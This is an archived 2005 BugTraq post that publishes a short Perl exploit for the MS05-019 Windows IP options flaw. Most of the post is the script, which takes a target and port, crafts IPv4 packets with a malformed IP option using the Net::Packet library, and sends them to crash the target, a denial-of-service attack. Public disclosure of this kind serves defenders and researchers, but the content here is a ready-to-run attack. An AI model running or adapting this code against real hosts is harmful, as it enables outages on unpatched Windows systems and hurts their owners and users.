BugTraq
MS05-019 Windows IP options DoS exploit Apr 24 2005 08:24PM
GomoR (bugtraq gomor org)

Here is another exploit for MS05-019 vulnerability.

Well, it is just to promote Net::Packet ;)

---
#!/usr/bin/perl
use strict;
use warnings;

my %opts;
use Getopt::Std;
getopts('t:p:', \%opts);
die("Usage: $0 -t TARGET -p PORT\n") unless $opts{t} && $opts{p};

use Net::Pkt;

$Env->debug(3);

my $frame = Net::Packet::Frame->new(
l3 => Net::Packet::IPv4->new(
dst => $opts{t},
options => "\x03\x27". 'G'x38,
),
l4 => Net::Packet::TCP->new(
dst => $opts{p},
),
);

$frame->send for 1..5;
---

--
^ ___ ___ FreeBSD Network - http://www.GomoR.org/ <-+
| / __ |__/ Systems & Security Engineer |
| \__/ | \ ---[ zsh$ alias psed='perl -pe ' ]--- |
+--> Net::Packet <=> http://search.cpan.org/~gomor/ <--+

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus